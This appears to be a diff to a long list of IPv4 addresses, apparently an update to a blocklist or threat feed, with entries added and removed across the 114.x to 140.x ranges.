+114.34.66.190 +114.34.95.216 +114.36.135.150 +114.44.122.162 114.69.249.194 -114.79.147.37 -115.114.40.105 +114.79.133.79 +114.96.76.62 115.133.237.163 -115.135.119.202 -115.135.13.133 -115.144.5.228 -115.160.19.171 -115.166.142.18 +115.159.71.193 115.186.58.49 115.2.24.182 -115.21.208.183 -115.22.38.59 +115.21.208.103 115.220.13.22 -115.227.19.195 -115.23.23.91 -115.23.23.94 -115.231.255.174 -115.238.143.230 +115.23.23.103 115.238.146.138 115.240.206.206 115.241.167.123 115.241.38.13 115.241.45.18 115.241.47.18 +115.245.120.238 115.245.195.210 -115.246.222.92 -115.248.4.85 -115.28.177.49 -115.30.10.190 -115.56.236.90 +115.247.182.238 +115.247.46.122 +115.46.88.68 +115.62.145.24 +115.68.111.56 +115.68.142.36 +115.77.105.26 +115.77.97.146 115.79.35.110 115.85.80.74 -115.90.111.174 115.91.85.43 115.95.180.244 -115.97.255.48 +116.103.226.20 116.103.228.163 116.103.228.37 -116.103.228.69 +116.103.228.93 116.103.229.113 -116.105.210.22 -116.113.17.210 -116.114.94.30 116.119.116.212 -116.122.255.108 -116.131.151.186 -116.148.185.51 -116.153.1.110 +116.121.223.115 +116.131.135.206 +116.131.166.26 +116.132.123.22 +116.132.42.170 +116.132.93.38 +116.14.228.232 +116.141.105.6 +116.147.37.225 116.153.70.111 +116.169.117.6 +116.169.59.68 +116.181.18.35 116.193.159.2 116.196.120.195 116.204.171.29 116.204.181.43 116.204.182.156 -116.212.109.131 -116.213.36.178 -116.236.118.194 -116.236.142.18 -116.236.187.4 +116.204.182.53 +116.212.135.137 +116.230.112.15 116.236.232.169 116.236.41.248 -116.242.69.216 +116.247.96.202 116.34.72.47 116.48.143.172 -116.50.42.21 -116.59.25.225 -116.59.25.244 -116.59.27.234 +116.48.150.115 +116.48.150.154 +116.6.56.66 +116.72.19.113 116.88.225.30 116.9.120.88 116.92.213.114 -116.95.38.84 +116.98.164.88 117.1.29.103 -117.102.68.18 -117.102.82.13 -117.156.228.34 -117.157.119.70 +117.1.29.125 +117.139.90.149 +117.146.36.154 +117.156.196.23 +117.156.236.19 +117.157.87.15 +117.158.155.26 +117.158.163.235 +117.158.56.11 +117.158.60.98 +117.158.73.58 117.159.174.226 +117.159.68.166 +117.160.252.49 117.160.3.132 -117.161.45.35 -117.18.13.82 -117.2.142.24 +117.161.75.116 +117.193.126.201 117.200.61.3 -117.200.77.6 -117.211.11.130 -117.213.181.114 +117.220.10.3 +117.220.9.91 +117.232.107.107 117.232.123.90 117.247.185.39 +117.248.248.152 117.248.250.182 117.251.103.186 117.254.187.254 -117.32.249.174 +117.26.73.45 117.34.95.146 -117.4.152.81 -117.4.246.36 -117.50.183.251 -117.62.58.42 +117.35.207.52 +117.36.158.76 +117.41.165.40 +117.6.207.182 +117.62.115.236 117.62.85.250 117.62.89.110 117.63.111.120 -117.63.79.229 -117.7.231.248 -117.73.13.131 -117.80.170.109 +117.63.112.121 +117.71.53.210 +117.73.10.98 117.80.178.254 -117.81.238.16 117.81.93.202 -117.82.153.174 -117.91.204.173 -117.91.219.20 -117.92.165.71 -117.95.157.63 -117.95.192.84 -117.95.199.65 +117.83.51.212 +117.88.47.227 +117.91.147.162 +117.91.233.36 +117.92.113.178 +117.95.180.241 +117.95.210.197 117.95.244.159 -118.101.192.62 118.103.233.174 -118.105.186.228 -118.121.205.107 -118.121.57.166 -118.122.252.139 -118.122.38.37 -118.122.74.56 +118.118.234.136 +118.122.38.74 118.123.105.86 118.123.105.90 +118.130.190.181 +118.131.175.67 +118.151.209.226 118.163.113.53 -118.178.186.214 -118.182.76.109 -118.190.244.112 +118.174.79.50 +118.180.208.34 +118.182.32.16 +118.182.79.43 118.193.106.155 -118.193.32.181 +118.193.16.50 +118.193.32.238 118.193.32.39 118.193.56.153 -118.193.56.204 118.193.56.41 118.193.57.165 118.193.58.159 118.193.58.234 118.193.59.109 -118.193.59.232 +118.193.59.15 +118.193.62.92 118.193.65.94 -118.193.72.185 118.193.72.27 -118.193.72.32 +118.193.72.69 118.194.234.57 +118.194.247.29 118.194.250.122 +118.194.250.124 118.194.250.80 -118.194.251.128 -118.194.252.244 +118.194.251.159 118.194.253.131 -118.194.253.72 +118.194.253.73 118.194.253.74 -118.201.229.137 +118.194.254.244 +118.195.131.140 +118.200.42.154 118.201.79.222 -118.212.69.24 -118.219.197.14 -118.219.54.135 +118.219.233.146 118.220.252.143 118.248.36.40 -118.25.58.224 118.27.5.109 -118.33.138.51 -118.33.24.72 118.33.73.177 -118.33.82.133 +118.34.117.189 118.34.128.46 +118.34.149.112 +118.34.180.142 118.34.67.27 +118.35.35.232 118.36.15.126 118.36.155.156 118.36.69.40 +118.36.90.114 118.37.157.169 -118.37.164.107 -118.37.5.251 -118.37.84.210 -118.38.150.203 +118.39.137.91 118.40.101.209 118.40.122.9 -118.40.248.20 -118.41.204.67 +118.41.128.150 +118.41.204.80 +118.41.204.91 +118.42.23.221 118.43.162.5 118.43.95.157 +118.43.98.239 118.44.118.203 -118.45.205.44 118.46.80.120 118.47.143.195 118.69.161.67 118.69.55.101 -118.69.77.88 +118.69.82.100 118.70.126.155 118.70.134.18 -118.70.155.60 118.70.170.120 -118.70.178.193 -118.97.98.2 -119.113.54.210 -119.152.254.13 -119.159.234.131 +118.70.180.188 +118.70.48.219 +118.70.49.114 +118.79.96.155 +118.99.213.105 +119.116.224.237 +119.12.232.157 119.160.107.144 -119.160.197.178 +119.160.166.237 119.165.129.11 119.167.219.132 -119.18.48.19 +119.178.240.238 +119.18.48.48 119.18.55.47 -119.188.125.179 +119.180.28.27 +119.181.66.221 +119.187.60.219 119.188.168.53 -119.192.7.85 -119.192.8.27 +119.191.247.19 +119.192.244.176 119.193.69.250 119.193.97.24 119.195.176.185 119.195.57.228 +119.195.89.240 +119.196.208.126 +119.196.36.182 119.199.165.150 -119.199.245.111 119.199.93.221 -119.2.50.243 119.202.128.28 +119.203.143.84 119.203.35.16 +119.204.201.15 119.205.98.232 -119.206.176.111 -119.224.64.167 -119.23.250.61 -119.23.79.1 +119.206.6.108 +119.207.188.62 119.236.218.94 119.252.143.6 -119.254.232.206 119.28.105.34 119.28.156.200 119.28.161.236 119.28.233.240 -119.29.80.42 +119.28.4.87 +119.29.156.110 +119.29.231.234 119.36.113.143 -119.45.125.59 -119.5.157.124 -119.56.135.155 -119.7.135.20 -119.73.179.114 +119.4.250.94 +119.40.84.148 +119.42.54.4 +119.62.184.202 +119.62.212.164 +119.62.212.184 119.8.180.84 119.82.135.226 +119.84.126.15 119.84.146.21 -119.92.70.82 119.96.175.9 -119.97.224.6 +119.96.200.230 12.156.67.18 -12.172.110.78 -12.206.27.250 -120.138.119.75 +12.207.244.211 +12.251.130.22 +120.157.111.147 120.157.34.136 +120.193.95.245 120.195.26.106 120.195.31.102 -120.196.119.158 -120.198.45.52 -120.201.250.44 +120.198.240.140 +120.201.248.6 120.202.149.117 -120.211.137.186 -120.211.137.29 -120.211.157.123 -120.211.46.212 -120.211.60.176 -120.211.65.169 -120.211.66.40 -120.232.250.221 -120.238.177.235 +120.204.196.162 +120.208.103.108 +120.211.101.25 +120.211.103.225 +120.211.110.84 +120.211.131.10 +120.211.137.27 +120.234.221.22 +120.236.243.133 +120.237.206.76 +120.237.228.182 120.238.203.2 120.238.32.253 120.238.71.252 +120.253.26.219 120.253.69.172 120.253.69.251 -120.27.162.88 120.28.109.188 -120.29.225.101 -120.29.225.102 -120.29.225.103 -120.29.225.104 -120.29.225.105 -120.29.225.106 -120.29.225.107 -120.29.225.108 -120.29.225.109 120.29.226.5 -120.33.205.162 120.48.46.225 -120.52.139.130 -120.71.199.46 -120.76.102.125 +120.48.75.148 +120.76.96.170 +120.77.11.27 120.77.183.19 -120.88.46.226 -120.89.98.72 -120.92.137.214 -121.120.198.9 +120.79.225.204 +120.79.48.81 +121.120.208.84 121.120.213.7 -121.120.215.62 121.120.220.61 -121.120.53.58 -121.120.53.7 -121.123.88.218 +121.120.32.46 +121.120.43.54 +121.120.43.82 121.125.84.184 -121.126.37.211 +121.127.233.239 121.127.234.213 -121.127.249.161 -121.127.249.162 +121.128.205.163 +121.128.59.241 121.129.93.181 -121.131.235.203 -121.132.105.1 -121.133.14.249 +121.131.175.118 121.133.22.1 121.134.145.252 121.134.203.4 -121.135.252.191 -121.136.127.58 +121.135.231.227 +121.135.254.129 +121.136.154.157 121.136.227.217 +121.137.74.48 +121.142.153.17 121.142.87.218 +121.142.92.83 121.143.141.79 +121.143.172.78 121.144.134.14 121.145.56.179 121.146.142.226 +121.146.4.161 121.147.66.199 -121.148.143.194 -121.149.54.8 -121.149.90.88 -121.150.149.190 -121.152.26.222 +121.149.131.49 +121.149.194.35 +121.150.14.172 +121.151.29.47 +121.153.235.161 121.154.12.74 +121.154.155.80 121.154.36.235 -121.155.231.244 121.155.66.24 -121.158.10.146 -121.158.172.228 121.158.70.160 -121.160.204.106 +121.159.207.63 +121.159.48.198 +121.159.55.237 121.161.122.176 121.163.241.214 121.165.110.194 121.165.242.205 121.166.2.253 -121.166.20.186 +121.167.152.1 +121.167.229.91 +121.168.123.179 121.168.34.211 +121.169.150.161 121.170.189.137 -121.170.2.9 -121.171.172.213 -121.173.240.184 +121.172.147.104 121.173.251.86 -121.174.211.215 121.176.105.114 121.177.255.178 -121.178.15.232 121.178.34.146 -121.178.56.87 121.179.69.134 121.18.89.174 -121.180.100.2 121.181.14.46 -121.183.93.202 +121.183.243.190 +121.183.37.173 +121.185.153.152 121.186.175.215 -121.187.191.84 +121.186.6.200 +121.186.71.183 121.187.229.137 +121.188.160.55 121.189.179.69 -121.190.204.208 -121.190.22.245 121.191.176.29 121.191.182.179 -121.196.226.61 -121.199.4.177 121.2.72.105 +121.200.55.147 121.201.125.236 -121.202.193.65 -121.202.194.65 -121.202.195.22 -121.202.197.165 -121.202.198.167 -121.202.203.182 -121.202.203.33 -121.202.205.248 +121.202.195.9 +121.202.202.254 +121.202.205.117 121.204.164.111 -121.206.49.12 +121.205.4.44 +121.224.157.221 +121.224.215.54 121.224.38.4 121.224.77.157 -121.226.140.152 +121.226.153.201 +121.226.158.99 121.226.253.176 -121.227.86.20 -121.228.124.60 +121.227.104.53 +121.227.238.252 +121.227.70.200 +121.227.87.228 121.228.133.74 121.228.15.40 -121.228.151.243 -121.228.162.133 -121.230.163.245 +121.229.149.80 121.230.46.162 -121.231.144.3 121.231.155.219 121.231.174.121 121.231.195.204 -121.234.137.172 -121.234.175.211 +121.231.247.128 +121.231.73.32 +121.231.84.117 +121.231.92.82 +121.233.184.207 +121.233.211.179 +121.233.85.34 +121.234.160.16 +121.234.202.116 +121.234.229.132 121.234.245.37 -121.236.42.131 -121.236.70.171 -121.238.199.228 -121.239.104.51 +121.236.25.21 +121.236.42.119 +121.236.75.118 +121.237.255.190 +121.238.197.188 121.239.117.11 +121.239.166.36 121.239.197.232 -121.239.223.43 +121.239.205.201 121.239.31.26 -121.239.33.62 121.241.227.91 121.244.90.125 121.254.93.188 -121.26.142.238 -121.31.210.14 -121.36.241.28 -121.4.195.240 -121.4.33.86 -121.4.58.7 +121.26.0.106 121.40.187.73 +121.40.50.132 +121.41.103.129 +121.42.10.239 +121.46.20.126 121.46.25.182 -121.5.159.172 -121.52.222.17 +121.5.90.216 121.66.124.146 -121.66.144.140 -121.66.144.142 +121.66.124.147 121.83.122.242 +121.9.255.182 122.11.169.112 122.11.177.164 122.114.110.57 +122.114.197.7 122.114.77.98 -122.116.13.161 -122.116.47.137 -122.116.5.34 -122.117.51.33 +122.116.195.77 +122.116.60.196 122.117.70.129 122.129.112.102 -122.136.195.68 122.139.165.122 122.139.63.134 -122.14.197.21 122.14.211.172 +122.14.214.24 +122.14.250.28 +122.15.223.149 +122.15.40.164 122.151.19.88 -122.151.30.86 122.154.156.234 -122.154.48.30 +122.154.253.5 122.155.0.205 122.155.223.224 -122.160.113.184 -122.160.119.125 +122.156.253.66 +122.159.7.88 +122.160.115.70 +122.160.128.150 122.160.133.86 -122.160.140.145 +122.160.139.59 122.160.200.22 -122.160.25.225 -122.160.30.113 +122.160.221.36 +122.160.36.121 +122.160.37.45 122.160.4.11 -122.160.53.132 +122.160.50.155 122.160.57.233 -122.160.59.87 -122.160.85.3 -122.161.160.22 -122.163.177.126 -122.164.8.171 -122.165.169.113 +122.160.58.201 +122.160.68.26 +122.160.95.45 +122.163.127.64 +122.163.127.86 +122.165.220.183 +122.165.241.233 122.165.62.224 -122.166.124.116 -122.166.191.51 -122.166.251.98 +122.165.73.253 +122.166.156.246 122.167.187.87 -122.168.196.31 -122.168.197.165 -122.168.198.143 -122.169.102.160 +122.168.125.191 +122.168.126.113 +122.168.194.41 122.169.103.121 -122.169.113.61 -122.169.117.70 +122.169.115.216 122.169.61.21 -122.170.104.102 +122.169.97.231 +122.170.10.27 122.170.105.73 -122.170.119.242 -122.170.97.80 -122.170.99.81 -122.175.34.207 +122.170.2.112 +122.170.97.94 +122.176.112.52 122.176.16.178 -122.176.20.63 -122.176.30.182 +122.176.20.226 122.176.34.226 +122.176.45.238 +122.176.51.43 122.176.52.13 122.176.56.84 122.176.75.86 -122.176.79.197 +122.176.80.82 +122.176.85.162 +122.179.129.110 +122.179.130.147 122.180.144.243 122.180.154.126 -122.180.20.201 -122.180.243.249 122.180.251.123 122.180.251.164 -122.180.84.226 -122.184.65.226 -122.187.186.235 +122.180.254.179 +122.180.84.160 +122.186.252.110 +122.187.224.114 122.187.224.226 122.187.224.251 122.187.225.220 122.187.225.26 -122.187.225.42 122.187.225.49 +122.187.225.72 122.187.226.13 122.187.226.14 122.187.226.16 122.187.226.21 122.187.226.240 -122.187.226.4 -122.187.226.67 +122.187.227.136 122.187.227.138 122.187.227.140 122.187.227.148 122.187.227.166 -122.187.227.168 +122.187.227.167 122.187.227.190 -122.187.227.193 -122.187.227.195 -122.187.227.199 -122.187.227.233 122.187.227.24 -122.187.227.240 -122.187.228.229 -122.187.228.233 -122.187.229.10 -122.187.229.161 -122.187.229.228 +122.187.228.228 +122.187.229.104 +122.187.229.118 +122.187.229.129 +122.187.229.145 +122.187.229.153 +122.187.229.78 +122.187.229.82 +122.187.230.10 +122.187.230.132 +122.187.230.133 +122.187.230.148 122.187.230.156 -122.187.230.184 +122.187.230.165 +122.187.230.170 +122.187.230.181 +122.187.230.198 +122.187.230.223 +122.187.230.243 +122.187.230.250 122.187.230.251 +122.187.230.36 +122.187.230.57 122.187.230.90 122.187.231.180 -122.187.231.2 122.187.234.54 -122.187.235.10 +122.187.238.72 +122.187.239.112 +122.187.239.174 122.192.157.87 +122.192.9.74 122.195.215.206 -122.211.138.37 -122.222.113.69 -122.224.3.154 +122.199.66.10 +122.224.164.194 +122.224.222.210 122.225.203.106 -122.225.55.98 -122.227.34.50 -122.228.142.146 -122.252.246.172 +122.227.52.58 +122.3.192.83 122.4.70.58 -122.51.230.17 122.53.133.167 122.53.57.33 -122.54.166.78 122.96.31.132 +122.96.31.137 122.96.31.138 -122.97.229.210 -123.108.169.213 -123.13.198.131 -123.132.252.2 -123.138.199.66 +123.1.189.205 +123.10.230.79 +123.103.127.77 +123.128.245.24 +123.13.237.76 +123.130.225.200 +123.138.101.106 123.140.114.196 123.142.3.142 -123.151.146.72 +123.150.229.61 123.156.226.101 -123.172.48.199 -123.172.80.221 -123.172.80.59 -123.173.105.117 -123.173.86.140 -123.175.157.46 -123.175.48.8 -123.175.52.127 +123.163.52.74 +123.170.238.202 +123.172.82.106 +123.173.4.35 +123.173.6.184 123.175.98.159 -123.178.140.234 -123.182.241.36 -123.185.149.26 -123.185.66.99 -123.194.52.153 -123.200.17.60 +123.183.207.200 +123.195.105.184 123.204.226.29 -123.207.99.184 +123.205.159.170 +123.205.58.116 +123.207.35.85 123.209.210.124 -123.209.70.205 +123.21.36.204 +123.213.137.182 123.215.113.153 +123.222.97.136 123.231.217.92 123.24.206.100 -123.241.184.235 -123.247.101.217 -123.30.140.204 +123.25.30.146 +123.253.162.254 +123.255.251.70 123.30.149.60 -123.30.149.76 -123.30.187.208 +123.30.157.54 +123.30.249.49 123.30.98.134 -123.31.29.192 -123.51.149.136 -123.51.245.128 -123.58.205.134 +123.49.41.210 +123.58.197.21 +123.58.205.65 123.58.207.109 123.58.216.78 -123.7.78.139 -123.99.199.66 124.106.104.91 -124.110.52.243 -124.110.62.3 -124.126.16.122 +124.114.149.106 124.13.161.239 -124.133.0.52 -124.135.126.93 -124.150.239.135 +124.132.142.158 124.152.181.49 -124.152.181.85 -124.152.55.133 124.153.134.155 -124.153.165.218 -124.156.134.203 -124.156.2.182 +124.156.202.69 124.156.238.47 -124.160.96.242 -124.167.20.115 -124.167.21.190 -124.167.21.95 -124.167.244.134 -124.197.70.242 -124.197.87.109 -124.219.88.179 -124.220.6.50 -124.220.96.175 +124.160.67.42 +124.161.102.74 +124.166.246.67 +124.167.20.113 +124.167.20.72 +124.194.74.203 +124.197.96.102 +124.205.25.110 +124.218.218.250 +124.219.149.157 124.221.247.245 -124.221.73.76 -124.222.117.105 -124.222.124.143 +124.222.10.213 124.222.53.226 -124.223.174.224 -124.223.194.161 -124.224.82.234 +124.222.69.38 +124.223.114.215 +124.223.7.137 +124.224.82.3 124.230.124.250 124.234.179.243 124.234.183.186 -124.234.198.145 -124.234.203.63 -124.234.224.156 -124.234.234.72 -124.234.246.43 -124.235.169.119 +124.234.192.85 +124.235.169.238 124.235.174.46 -124.235.218.153 -124.235.243.162 -124.246.71.47 -124.248.194.74 +124.235.240.75 +124.235.248.206 +124.235.63.75 +124.246.86.52 +124.248.67.76 124.41.217.33 +124.41.225.79 124.41.240.56 -124.45.46.243 +124.43.70.178 +124.45.27.84 +124.45.61.93 +124.56.66.38 124.65.227.154 -124.77.89.84 -124.79.245.43 +124.67.121.194 +124.88.217.20 +124.89.83.176 +124.94.119.152 +124.95.132.151 124.95.156.130 -125.129.142.200 -125.129.82.220 +125.130.254.154 +125.131.142.234 125.131.90.13 125.134.168.105 -125.137.117.198 -125.137.230.225 -125.138.16.126 -125.138.203.226 +125.136.203.14 +125.136.94.222 125.138.98.110 -125.141.139.9 -125.141.46.24 -125.141.72.204 +125.141.231.165 +125.141.28.90 125.141.84.135 125.142.239.217 -125.142.85.230 -125.163.160.229 +125.143.128.117 125.177.207.163 125.199.218.169 -125.20.55.14 +125.209.73.250 125.209.85.186 -125.209.98.218 -125.21.120.90 -125.21.146.174 +125.21.59.218 125.212.217.214 -125.212.218.5 125.212.231.175 125.212.233.50 125.212.235.211 125.212.251.45 -125.22.177.178 -125.227.199.193 -125.227.25.242 -125.228.241.112 +125.229.176.248 125.234.252.150 -125.240.27.138 -125.25.172.196 -125.252.82.209 -125.27.251.215 -125.39.182.205 +125.32.155.14 +125.35.109.214 +125.64.209.11 +125.66.243.1 125.67.125.170 -128.1.32.242 +125.67.61.202 +125.77.106.59 +125.88.231.98 +125.99.173.162 +126.113.24.98 +126.118.196.38 +128.1.248.27 128.1.39.90 -128.1.42.231 -128.1.44.206 -128.1.79.9 +128.1.40.228 +128.1.48.107 +128.1.61.199 128.1.91.204 -128.1.91.206 -128.1.91.91 -128.1.91.92 -128.1.91.93 +128.106.165.245 128.116.134.9 -128.116.144.194 -128.14.128.178 -128.14.133.50 -128.14.137.179 -128.14.137.180 -128.14.137.181 -128.14.137.182 -128.14.141.34 -128.14.141.35 -128.14.188.107 -128.14.209.42 128.14.224.132 +128.14.224.248 128.14.225.196 128.14.225.218 -128.14.225.243 -128.14.225.250 128.199.1.140 -128.199.103.239 -128.199.105.162 -128.199.127.220 -128.199.137.99 -128.199.138.145 -128.199.143.230 -128.199.148.70 -128.199.150.10 +128.199.10.70 +128.199.105.111 +128.199.107.58 +128.199.11.223 +128.199.115.248 +128.199.120.146 +128.199.129.68 +128.199.141.33 +128.199.144.161 +128.199.147.56 +128.199.147.72 128.199.151.172 +128.199.154.5 128.199.161.227 -128.199.163.55 +128.199.162.2 128.199.168.119 -128.199.179.8 -128.199.18.232 -128.199.186.230 -128.199.194.183 +128.199.177.224 +128.199.179.36 +128.199.184.157 +128.199.19.74 +128.199.193.246 +128.199.194.1 128.199.195.68 128.199.20.210 128.199.208.187 128.199.211.78 +128.199.212.70 128.199.214.193 128.199.227.110 128.199.227.165 @@ -1766,2268 +1810,2153 @@ 128.199.227.200 128.199.227.230 128.199.227.73 -128.199.227.85 -128.199.227.98 -128.199.23.120 -128.199.234.147 128.199.24.55 -128.199.247.226 -128.199.33.46 -128.199.34.69 -128.199.38.92 +128.199.30.14 +128.199.32.98 128.199.45.37 -128.199.49.102 128.199.5.4 -128.199.61.251 +128.199.52.45 128.199.62.55 +128.199.68.197 +128.199.70.65 128.199.71.12 128.199.73.168 -128.199.80.18 +128.199.77.201 +128.199.77.96 +128.199.80.214 +128.199.91.231 128.199.95.60 128.199.96.178 -128.199.96.23 -128.199.97.155 128.199.97.85 -128.199.98.170 128.199.98.41 128.199.99.204 -128.201.108.2 -128.201.78.253 -128.65.52.240 +128.53.4.247 129.126.119.71 -129.146.145.69 -129.146.242.24 +129.126.211.162 +129.146.183.47 +129.148.44.27 129.150.180.148 +129.150.51.224 +129.151.119.28 129.205.208.20 129.205.98.180 -129.213.100.212 -129.213.50.80 -129.222.250.120 -129.226.158.246 +129.213.108.113 +129.226.164.101 129.226.171.187 -129.226.198.6 129.226.201.243 +129.226.205.241 129.226.207.190 -129.226.210.215 +129.226.209.202 +129.226.209.249 +129.226.210.126 129.226.211.132 -129.226.214.158 +129.226.211.74 +129.226.213.186 129.226.214.79 129.226.215.132 -129.226.220.92 -129.226.222.151 +129.226.215.152 +129.226.217.148 +129.226.221.72 +129.226.221.96 129.226.55.153 -129.226.83.28 +129.226.83.251 129.226.83.30 -129.226.89.244 -13.244.220.236 +129.226.95.156 13.251.240.84 -13.40.123.118 13.40.127.161 -13.40.147.135 -13.40.25.145 -13.40.6.222 -13.40.98.37 -13.66.131.233 +13.40.33.250 +13.40.55.221 +13.40.8.115 +13.70.39.68 13.72.228.119 13.72.86.172 -13.75.73.10 +13.76.162.49 13.80.7.122 13.82.51.214 13.87.204.143 -13.90.192.95 +13.90.16.70 130.0.90.18 -130.105.45.219 -130.162.212.195 +130.162.42.103 130.193.42.43 130.211.218.46 130.255.145.35 +130.61.177.134 130.61.35.0 +131.100.151.146 131.221.200.32 -131.221.81.197 -132.148.120.15 -132.148.165.220 +131.247.10.212 +131.72.220.54 +132.145.30.108 132.148.76.25 132.148.77.160 132.148.85.94 -132.226.112.234 +132.248.14.22 132.248.204.98 132.248.65.8 -133.130.103.36 -133.130.89.210 +132.255.230.102 133.130.99.121 133.175.60.126 +134.122.106.248 134.122.17.178 -134.122.23.111 +134.122.174.172 +134.122.19.182 +134.122.206.104 134.122.34.144 -134.122.39.206 -134.122.49.134 -134.122.63.192 -134.122.72.177 -134.122.74.227 134.122.8.241 -134.122.89.242 +134.122.91.0 +134.122.92.44 +134.17.16.196 134.17.16.37 -134.17.16.40 -134.17.16.5 134.17.17.112 134.17.89.151 134.17.89.159 134.17.89.182 -134.17.94.214 -134.17.94.27 -134.175.229.59 -134.195.198.140 -134.195.239.199 -134.204.0.245 +134.17.94.229 +134.175.48.152 134.209.101.182 134.209.103.181 -134.209.110.41 -134.209.127.189 +134.209.149.246 134.209.153.189 -134.209.153.48 -134.209.154.107 134.209.154.146 +134.209.175.109 134.209.179.100 134.209.183.166 134.209.197.137 +134.209.200.13 134.209.216.23 134.209.226.128 -134.209.23.192 -134.209.231.106 +134.209.227.212 134.209.254.124 -134.209.255.251 -134.209.65.222 134.209.69.41 -134.75.253.213 +134.209.8.231 135.0.208.122 -135.125.163.90 -135.125.224.87 +135.125.202.29 +135.125.68.41 +135.129.137.128 +135.134.153.17 +135.148.121.149 +135.148.13.183 135.148.236.41 -136.143.205.162 -136.185.11.173 -136.185.2.84 136.185.7.173 136.185.8.145 -136.232.185.138 +136.228.161.66 +136.228.161.67 +136.232.180.238 +136.232.194.210 +136.233.33.50 136.255.147.146 -136.255.154.162 136.255.154.166 -136.255.230.40 -136.41.160.87 -136.49.165.9 +136.38.1.128 137.116.148.206 -137.135.12.212 137.184.0.243 137.184.104.77 137.184.106.30 137.184.112.37 137.184.124.136 -137.184.125.177 -137.184.144.151 -137.184.148.244 -137.184.150.232 -137.184.162.65 +137.184.144.51 +137.184.145.62 +137.184.164.205 137.184.176.157 137.184.184.139 137.184.200.136 +137.184.216.0 137.184.217.17 -137.184.222.107 +137.184.217.189 137.184.222.3 137.184.225.55 137.184.226.118 -137.184.226.32 -137.184.239.131 -137.184.255.30 -137.184.255.6 -137.184.35.122 +137.184.255.27 +137.184.255.56 137.184.35.63 -137.184.35.68 +137.184.37.111 +137.184.37.163 137.184.4.177 137.184.5.137 +137.184.5.52 137.184.50.151 +137.184.50.19 137.184.55.79 -137.184.6.75 +137.184.73.29 137.184.78.25 137.184.80.226 -137.184.81.92 +137.184.94.167 137.184.95.238 137.22.34.8 137.220.244.62 -137.220.244.94 -137.220.38.27 137.25.229.139 -137.63.148.63 +137.59.94.20 +137.59.95.5 +138.0.147.251 138.0.55.13 -138.121.163.234 -138.121.2.12 +138.118.176.179 138.121.65.82 138.122.143.18 -138.122.201.90 -138.197.102.26 -138.197.151.73 -138.197.160.74 +138.185.193.64 +138.197.132.197 +138.197.141.89 +138.197.151.213 138.197.167.209 -138.197.169.60 -138.197.175.169 +138.197.176.183 +138.197.176.8 138.197.177.111 -138.197.180.155 -138.197.19.166 -138.197.20.202 -138.197.4.224 +138.197.20.253 +138.197.24.249 138.197.66.68 138.197.88.136 -138.199.34.198 -138.2.10.151 -138.2.235.76 -138.2.24.226 +138.199.60.173 +138.199.60.178 138.2.56.128 -138.204.192.102 -138.204.69.63 -138.204.70.118 -138.204.70.192 +138.204.69.166 +138.204.71.119 138.204.71.61 -138.255.113.230 -138.36.129.21 +138.204.71.83 +138.59.233.28 +138.68.102.83 138.68.103.135 138.68.106.58 -138.68.128.9 138.68.133.118 -138.68.143.68 138.68.153.47 -138.68.163.10 -138.68.208.14 -138.68.208.38 -138.68.208.46 +138.68.162.6 +138.68.208.10 +138.68.208.11 +138.68.208.16 138.68.208.48 -138.68.208.6 -138.68.208.7 -138.68.226.175 +138.68.208.51 +138.68.208.8 138.68.230.183 138.68.239.113 -138.68.55.110 138.68.58.124 -138.68.63.220 138.68.71.173 138.68.74.198 138.68.8.161 138.68.9.83 +138.68.9.99 138.68.91.192 138.68.93.132 -138.97.194.77 +138.75.117.154 +138.75.222.128 +138.75.246.10 +138.75.84.104 138.97.64.134 -139.144.110.125 -139.144.110.190 -139.144.110.70 -139.144.150.23 -139.144.150.26 +138.97.96.41 +139.130.88.199 +139.144.110.113 139.144.150.45 -139.144.150.8 -139.144.239.185 -139.144.239.98 -139.144.4.92 +139.144.176.233 +139.144.239.72 139.144.52.241 139.144.96.150 139.162.190.203 -139.162.191.151 -139.162.204.214 139.162.60.11 139.185.46.80 139.196.123.207 +139.196.153.242 139.196.242.130 -139.196.94.55 +139.198.116.224 139.198.120.226 -139.198.163.91 -139.198.32.36 +139.198.14.168 +139.198.19.15 +139.198.33.147 139.198.35.186 +139.219.9.26 +139.224.230.172 139.255.54.195 +139.255.90.245 139.28.218.34 -139.5.17.55 +139.5.241.8 139.59.0.113 139.59.10.188 +139.59.104.8 139.59.105.221 -139.59.113.110 -139.59.121.198 +139.59.126.208 139.59.127.178 139.59.129.247 +139.59.136.245 +139.59.14.115 139.59.16.54 139.59.175.37 139.59.182.142 -139.59.182.58 139.59.184.77 139.59.188.13 -139.59.189.161 -139.59.226.125 +139.59.215.94 139.59.23.154 139.59.23.204 139.59.230.191 -139.59.231.14 -139.59.242.254 139.59.248.243 -139.59.25.164 +139.59.250.246 +139.59.251.146 +139.59.252.199 139.59.254.45 139.59.255.59 -139.59.26.97 -139.59.30.241 139.59.31.236 139.59.37.86 +139.59.42.255 +139.59.45.98 139.59.46.169 -139.59.65.144 139.59.67.215 +139.59.68.239 +139.59.7.115 139.59.70.142 +139.59.76.7 +139.59.78.95 139.59.8.21 -139.59.97.230 +139.59.81.65 +139.59.83.162 +139.59.92.30 +139.95.0.186 +139.99.189.205 139.99.251.166 -139.99.30.169 139.99.36.21 -139.99.77.184 14.0.197.67 -14.102.38.135 -14.102.43.215 -14.115.209.227 -14.116.194.118 -14.116.221.112 -14.139.58.151 +14.0.206.168 +14.102.101.248 +14.102.74.17 +14.102.74.99 +14.116.184.240 +14.116.211.11 +14.116.214.218 14.143.3.30 +14.161.10.88 14.161.17.193 14.161.27.163 -14.173.234.121 -14.174.33.77 -14.177.232.0 -14.177.239.168 -14.18.120.74 +14.18.119.55 14.194.76.134 +14.207.162.219 +14.22.81.1 14.224.160.150 14.225.192.13 -14.225.205.4 14.225.206.100 -14.225.206.91 14.225.210.201 14.225.211.192 -14.225.212.120 14.225.254.229 14.225.254.249 -14.225.254.88 14.23.44.10 14.238.7.210 -14.240.51.0 -14.29.171.127 +14.29.208.189 14.29.218.130 14.32.90.4 -14.33.96.4 14.34.46.185 -14.38.8.52 -14.42.169.240 +14.39.65.29 +14.41.72.242 14.42.184.197 -14.42.42.181 -14.43.212.5 14.43.231.49 +14.43.64.15 14.44.12.176 14.45.187.92 -14.48.58.180 +14.46.91.140 14.48.88.170 +14.49.119.88 14.49.206.32 14.52.100.135 14.52.210.76 -14.54.241.158 +14.53.134.163 +14.54.22.11 +14.54.46.207 +14.55.109.45 14.56.76.82 -14.63.162.98 -14.63.216.89 -14.97.82.3 +14.63.221.137 +14.97.218.142 +14.98.78.11 14.99.14.158 -14.99.157.247 -14.99.175.106 14.99.23.98 -14.99.254.18 14.99.34.118 14.99.4.82 -140.143.162.33 +14.99.71.11 